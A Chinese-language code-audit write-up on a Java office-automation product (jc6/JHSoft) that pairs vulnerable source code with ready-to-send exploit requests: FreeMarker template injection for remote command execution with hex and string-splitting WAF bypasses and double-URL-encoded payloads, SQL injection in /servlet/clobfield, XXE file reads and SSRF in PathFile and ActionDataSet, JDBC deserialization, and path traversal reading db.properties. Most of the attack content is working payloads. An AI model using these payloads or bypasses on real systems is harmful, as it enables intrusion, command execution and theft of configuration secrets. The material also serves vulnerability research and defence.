一、FreeMarker SSTI模板注入
FreeMarker 是一款 模板引擎: 即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。 它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。
模板编写为FreeMarker Template Language (FTL)。它是简单的,专用的语言, 不是 像PHP那样成熟的编程语言。 那就意味着要准备数据在真实编程语言中来显示,比如数据库查询和业务运算, 之后模板显示已经准备好的数据。在模板中,你可以专注于如何展现数据, 而在模板之外可以专注于要展示什么数据。
这种方式通常被称为 MVC (模型 视图 控制器) 模式,对于动态网页来说,是一种特别流行的模式。 它帮助从开发人员(Java 程序员)中分离出网页设计师(HTML设计师)。设计师无需面对模板中的复杂逻辑, 在没有程序员来修改或重新编译代码时,也可以修改页面的样式。
其实FreeMarker的原理就是:模板+数据模型=输出
关键代码如下:
public String viewConTemplate() {
FileOutputStream out = null;
try {
String sameName = this.uuid + ".ftl";
File file = new File(PortalTemplateUtil.TEMPLATE_TEMP_DIR);
if (!file.exists()) {
file.mkdirs();
}
out = new FileOutputStream(PortalTemplateUtil.TEMPLATE_TEMP_DIR + File.separator + sameName);
String code = this.request.getParameter("code");
code = URLDecoder.decode(code, "UTF-8");
code = code.replaceAll("<", "<").replaceAll(""", "\"").replaceAll("'", "'").replaceAll(">", ">").replaceAll(" ", " ").replaceAll("<br />", "").replaceAll("<p>", "").replaceAll("</p>", "").replaceAll("&", "&");
byte[] b = code.getBytes();
out.write(b);
out.flush();
try {
if (out != null) {
out.close();
}
} catch (IOException e) {
e.printStackTrace();
}
Template template = FreemarkerConfiguration.getTemplateTemp().getTemplate(sameName);
HttpServletResponse response = getResponse();
response.setContentType("text/html;charset=UTF-8");
response.setHeader("Cache-Control", "no-cache");
response.setHeader("Expires", "0");
response.setHeader("Pragma", "No-cache");
PrintWriter pw = response.getWriter();
Map<String, String> values = new HashMap<>();
values.put("ctx", getCtx());
template.process(values, pw);
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
if (out != null) {
out.close();
}
} catch (IOException e) {
e.printStackTrace();
}
}
return null;
}\x01、十六进制绕过WAF
查阅相关文档 FreeMarker 支持 十六进制 和 八进制 但是我没有成功复现 八进制。 十六进制绕过WAF 如下:
<clob>${"\x66\x72\x65\x65\x6d\x61\x72\x6b\x65\x72.template.utility.\x45\x78\x65\x63\x75\x74\x65"?new()("whoami")}</clob>双重URL编码:
%253c%2563%256c%256f%2562%253e%2524%257b%2522%255c%2578%2536%2536%255c%2578%2537%2532%255c%2578%2536%2535%255c%2578%2536%2535%255c%2578%2536%2564%255c%2578%2536%2531%255c%2578%2537%2532%255c%2578%2536%2562%255c%2578%2536%2535%255c%2578%2537%2532%252e%2574%2565%256d%2570%256c%2561%2574%2565%252e%2575%2574%2569%256c%2569%2574%2579%252e%255c%2578%2534%2535%255c%2578%2537%2538%255c%2578%2536%2535%255c%2578%2536%2533%255c%2578%2537%2535%255c%2578%2537%2534%255c%2578%2536%2535%2522%253f%256e%2565%2577%2528%2529%2528%2522%2577%2568%256f%2561%256d%2569%2522%2529%257d%253c%252f%2563%256c%256f%2562%253ePS: 如果全部编写为十六进制则会影响效果,这里以qax云堤为例。

如果使用默认的即可执行RCE。

\xsp 拼接绕过WAF
常见的WAF,目前大多数都是匹配特征值进行判断,如果拆分拼接可以差不多绕过。
<clob>${("freem" + "arker" + ".template.utility.Exe" + "cute")?new()("whoami")}</clob>双重URL编码:
%253c%2563%256c%256f%2562%253e%2524%257b%2528%2522%2566%2572%2565%2565%256d%2522%2520%252b%2520%2522%2561%2572%256b%2565%2572%2522%2520%252b%2520%2522%252e%2574%2565%256d%2570%256c%2561%2574%2565%252e%2575%2574%2569%256c%2569%2574%2579%252e%2545%2578%2565%2522%2520%252b%2520%2522%2563%2575%2574%2565%2522%2529%253f%256e%2565%2577%2528%2529%2528%2522%2577%2568%256f%2561%256d%2569%2522%2529%257d%253c%252f%2563%256c%256f%2562%253e
二、/servlet/clobfield SQL注入
关键代码:
public class clobfield
extends HttpServlet {
public void service(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException {
String sTablename = req.getParameter("sTablename");
String sImgname = req.getParameter("sImgname");
String sKeyname = req.getParameter("sKeyname");
String sKeyvalue = req.getParameter("sKeyvalue");
String strKey = req.getParameter("key");
try {
clobfield1 wd = new clobfield1();
wd.sTablename = sTablename;
wd.sImgname = sImgname;
wd.sKeyname = sKeyname;
wd.sKeyvalue = sKeyvalue;
res.setContentType(GBTool.resEncode);
PrintWriter out = res.getWriter();
if (strKey.equals("readClob"))
out.print(wd.readClob());
if (strKey.equals("writeClob")) {
BufferedReader in = new BufferedReader(new InputStreamReader((InputStream) req.getInputStream(), "UTF-8"));
out.print(wd.writeClob(in));
}
} catch (Exception exception) {
}
}
}还是接收指定参数,拼接SQL语句导致SQL注入。
PS: 其中key的值一定是readClob
public String readClob() {
String sRet = "";
Connection conn = null;
Statement stat = null;
try {
conn = this.jt.getDataSource().getConnection();
stat = conn.createStatement();
stat.execute("select " + this.sImgname + " from " + this.sTablename + " where " + this.sKeyname + "='" + this.sKeyvalue + "'");
ResultSet rsreadclob = stat.getResultSet();
if (rsreadclob.next()) {
Clob myReadClob = rsreadclob.getClob(1);
int iLen = 1;
iLen = (int) myReadClob.length();
sRet = myReadClob.getSubString(1L, iLen);
}
rsreadclob.close();
} catch (Exception e) {
sRet = e.getMessage();
try {
stat.close();
conn.close();
} catch (Exception ee) {
stat = null;
conn = null;
}
} finally {
try {
stat.close();
conn.close();
} catch (Exception ee) {
stat = null;
conn = null;
}
}
return sRet;
}POST /jc6/servlet/clobfield HTTP/1.1
host:127.0.0.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
key=readClob&sImgname=filename&sTablename=FC_ATTACH&sKeyname=djbh&sKeyvalue=11%27%2F**%2Fand%2F**%2FCONVERT%28int%2C%40%40version%29%3D1%2F**%2Fand%2F**%2F%27%27%3D%27三、PathFile XXE
3.1 入口代码
PathFile.java 的关键逻辑如下:
SAXReader reader = new SAXReader();
document = reader.read((InputStream)req.getInputStream());问题在于:
SAXReader使用的是默认配置- 没有看到任何类似下面的安全配置:
reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
reader.setFeature("http://xml.org/sax/features/external-general-entities", false);
reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);也就是说,攻击者提交的 XML 中如果包含 DOCTYPE 和外部实体,解析器大概率会去处理。
3.2 数据流向
在 PathFile.java 中,XML 被解析后会交给 PathFile1.GetUrl():
PathFile1 pf = new PathFile1();
pf.document = document;
String realPath = req.getSession().getServletContext().getRealPath("/");
out.print(pf.GetUrl(realPath));而在 PathFile1.java 中,第一个子节点会被取出来作为 path:
case 0:
path = tmpValue;
break;第二个节点取出来做为文件类型,默认就为 file
case 1:
strType = tmpValue;
break;第三个节点是否为当前工作目录(安装目录),默认是 jc6 目录下。
case 2:
IsVir = tmpValue;
break;第四个节点就是样式。
case 3:
displayType = tmpValue;
break;第五个节点以特定后缀筛选文件。
case 4:
strFiles = tmpValue;
break;<root>
<item></item>
<item>file</item>
<item>yes</item>
<item>2</item>
<item>jsp,jar</item>
</root>随后进入:
File dir = new File(path);
if (!dir.exists())
return "路径:" + path + " 不存在!";这一点非常关键。
因为如果 path 是通过外部实体展开出来的文件内容,那么这些内容就有可能被拼接到返回信息中。
3.3 EXP
3.3.1 目录遍历
POST /jc6/servlet/PathFile?GetUrl HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/xml
<root>
<item>C:\</item>
<item>file</item>
<item>no</item>
<item>list</item>
<item>txt,xml,properties</item>
</root>
3.3.2 文件读取
POST /jc6/servlet/PathFile?GetUrl HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/xml
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
]>
<root>
<item>&xxe;</item>
<item>file</item>
<item>no</item>
<item>list</item>
<item>txt</item>
</root>
3.3.3 SSRF
POST /servlet/PathFile?GetUrl HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/xml
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "http://127.0.0.1:8080/">
]>
<root>
<item>&xxe;</item>
<item>file</item>
<item>no</item>
<item>list</item>
<item>txt</item>
</root>四、JDBC 反序列化
漏洞原理分析: JDBC-反序列化分析.md
关键代码:
public class uploaddoc
extends HttpServlet {
public void service(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException {
String sTablename = "";
String sKeyvalue = "";
String sKeyvalue1 = "";
String subPath = "";
sTablename = req.getParameter("sTablename");
sKeyvalue = req.getParameter("sKeyvalue");
sKeyvalue1 = req.getParameter("sKeyvalue1");
subPath = req.getParameter("subPath");
subPath = Escape.unescape(subPath);
String strKey = req.getParameter("key");
res.setContentType(GBTool.resEncode);
PrintWriter out = res.getWriter();
String strConn = "";
try {
uploaddoc1 wd = new uploaddoc1();
wd.sTablename = sTablename;
wd.sKeyvalue = sKeyvalue;
wd.sKeyvalue1 = sKeyvalue1;
wd.subPath = subPath;
if (strKey.equals("readimage")) {
String realPath = req.getSession().getServletContext().getRealPath("/");
out.print(wd.readimage(realPath));
}
if (strKey.equals("getTreeXml")) {
strConn = req.getParameter("connectstring");
out.print(wd.getTreeXml(strConn));
}
} catch (Exception exception) {
}
}当 key 的值为 getTreeXml 则可触发 getTreeXml 。
public String getTreeXml(String strConn) {
Connection tmpConn = null;
Statement tmpStmt = null;
Connection conn = null;
Statement stat = null;
ResultSet rs1 = null;
StringBuffer sRet = new StringBuffer();
String sCode = "";
String sName = "";
String sId = "";
boolean bHaveId = true;
int iCodeLen = 0;
int iupLevel = 0;
int icurLevel = 0;
ArrayList<String> arrLevel = new ArrayList();
this.sTablename = Escape.unescape(this.sTablename);
try {
if (!strConn.equals("")) {
String[] arr = StringTools.split(strConn, ",");
if (arr.length != 4) {
throw new IllegalArgumentException("数据库的连接串:" + strConn + "配置不正确! ");
}
Class.forName(arr[0]);
tmpConn = DriverManager.getConnection(arr[1], arr[2], arr[3]);
tmpStmt = tmpConn.createStatement();
rs1 = tmpStmt.executeQuery(this.sTablename);
} else {
conn = this.jt.getDataSource().getConnection();
stat = conn.createStatement();
rs1 = stat.executeQuery(this.sTablename);
}
while (rs1.next()) {
iupLevel = icurLevel;
sCode = rs1.getString(1).trim();
sName = rs1.getString(2).trim();
if (bHaveId) {
try {
sId = rs1.getString(3).trim();
} catch (Exception e1) {
bHaveId = false;
}
}
iCodeLen = sCode.length();
Integer o = new Integer(iCodeLen);
if (arrLevel.size() == 0) {
arrLevel.add(o.toString());
icurLevel = 1;
} else {
if (Integer.parseInt(arrLevel.get(arrLevel.size() - 1).toString(), 10) < iCodeLen) {
arrLevel.add(o.toString());
}
int tmp = getLevel(arrLevel, iCodeLen);
if (tmp == -1) {
continue;
}
icurLevel = tmp;
if (iupLevel < icurLevel) {
sRet.append(">");
} else {
sRet.append("/>");
for (int j = 0; j < iupLevel - icurLevel; j++) {
sRet.append("</TreeNode>");
}
}
}
sRet.append("<TreeNode text=\"" + sName + "\" ");
if (bHaveId) {
sRet.append("code=\"" + sId + "\" ");
}
}
if (!sRet.equals("")) {
sRet.append("/>");
for (int jj = 1; jj < icurLevel; jj++) {
sRet.append("</TreeNode>");
}
}
} catch (Exception ex) {
return ex.getMessage();
} finally {
try {
rs1.close();
stat.close();
conn.close();
} catch (Exception ew) {
rs1 = null;
stat = null;
conn = null;
}
if (!strConn.equals("")) {
try {
tmpStmt.close();
} catch (Exception ew1) {
tmpStmt = null;
}
try {
tmpConn.close();
} catch (Exception ew2) {
tmpConn = null;
}
}
}
return sRet.toString();
}其中的 arr[1], arr[2], arr[3] 为 strConn 可控参数。
五、oaplusrangedownloadfile 任意文件读取
代码:
@RequestMapping(value = {"/login/oaplusrangedownloadfile"}, method = {RequestMethod.GET})
public ModelAndView rangeDownloadFile(HttpServletRequest request, HttpServletResponse response) throws Exception {
String filename = request.getParameter("filename");
String path = request.getSession().getServletContext().getRealPath("/OAPlus/" + filename);
File file = new File(path);
ModelAndView mv = new ModelAndView("byteRangeViewRender");
mv.addObject("file", file);
mv.addObject("contentType", "application/octet-stream");
return mv;
}还是最基础的问题,拼接。
路由有个baseurl在 web.xml 里。<servlet-mapping>
<servlet-name>spring</servlet-name>
<url-pattern>/JHSoft.WCF/*</url-pattern>
</servlet-mapping>EXP
读取配置文件 db.properties 或 config.properties
GET /jc6/JHSoft.WCF/login/oaplusrangedownloadfile?filename=../WEB-INF/classes/db.properties HTTP/1.1
Host: localhost
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close

六、ActionDataSet XXE
路由:
<servlet-mapping>
<servlet-name>ActionDataSet</servlet-name>
<url-pattern>/servlet/ActionDataSet</url-pattern>
</servlet-mapping><servlet>
<servlet-name>ActionDataSet</servlet-name>
<servlet-class>cn.com.fcsoft.servlet.ActionDataSet</servlet-class>
</servlet>代码:
直接使用 dom4j 的 SAXReader 解析用户可控 XML,且没有任何安全配置。
默认情况下(取决于 dom4j 和底层 SAX Parser 版本),SAXReader 可能允许解析外部实体。
public class ActionDataSet
extends HttpServlet {
public void doPost(HttpServletRequest req, HttpServletResponse res) throws IOException, ServletException {
res.setContentType(GBTool.resEncode);
PrintWriter out = res.getWriter();
Document document = null;
try {
SAXReader reader = new SAXReader();
try {
document = reader.read((InputStream) req.getInputStream());
} catch (Exception e) {
System.out.println(e.getMessage());
}
out.print("数据集中的数据: " + document.asXML());
} catch (Exception e) {
e.printStackTrace();
}
}EXP
POST /jc6/servlet/ActionDataSet HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/xml
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///C:/windows/win.ini">
]>
<root>&xxe;</root>引用/参考
评论 (0)